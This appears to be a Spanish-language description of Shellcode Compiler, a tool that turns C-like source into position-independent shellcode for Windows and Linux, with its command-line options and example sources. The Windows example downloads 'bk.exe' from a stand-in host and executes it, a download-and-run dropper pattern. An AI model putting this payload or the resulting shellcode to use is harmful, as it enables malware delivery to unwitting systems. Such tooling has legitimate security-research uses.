
Compilador de Shellcode
Shellcode Compiler es un programa que compila código estilo C/C++ en un shellcode pequeño, independiente de posición y libre de NULL para Windows (x86 y x64) y Linux (x86 y x64). Es posible llamar a cualquier función de la API de Windows o syscall de Linux de una manera fácil de usar.
Shellcode Compiler toma como entrada un archivo fuente y utiliza su propio compilador para interpretar el código y generar un archivo ensamblador que se ensambla con el motor Keystone.
-h (--help) : Muestra este mensaje de ayuda
-p (--platform) : Plataforma del shellcode: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : Imprime salida detallada
-t (--test) : Prueba (ejecuta) el shellcode generado
-r (--read) : Lee el archivo de código fuente
-o (--output) : Archivo de salida del shellcode binario generado
-a (--assembbly) : Archivo de salida del código ensamblador generado
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
Existen múltiples otras limitaciones también. Esta es una versión Alpha. Por favor, reporta cualquier error o sugerencia.
Ionut Popescu (@NytroRST)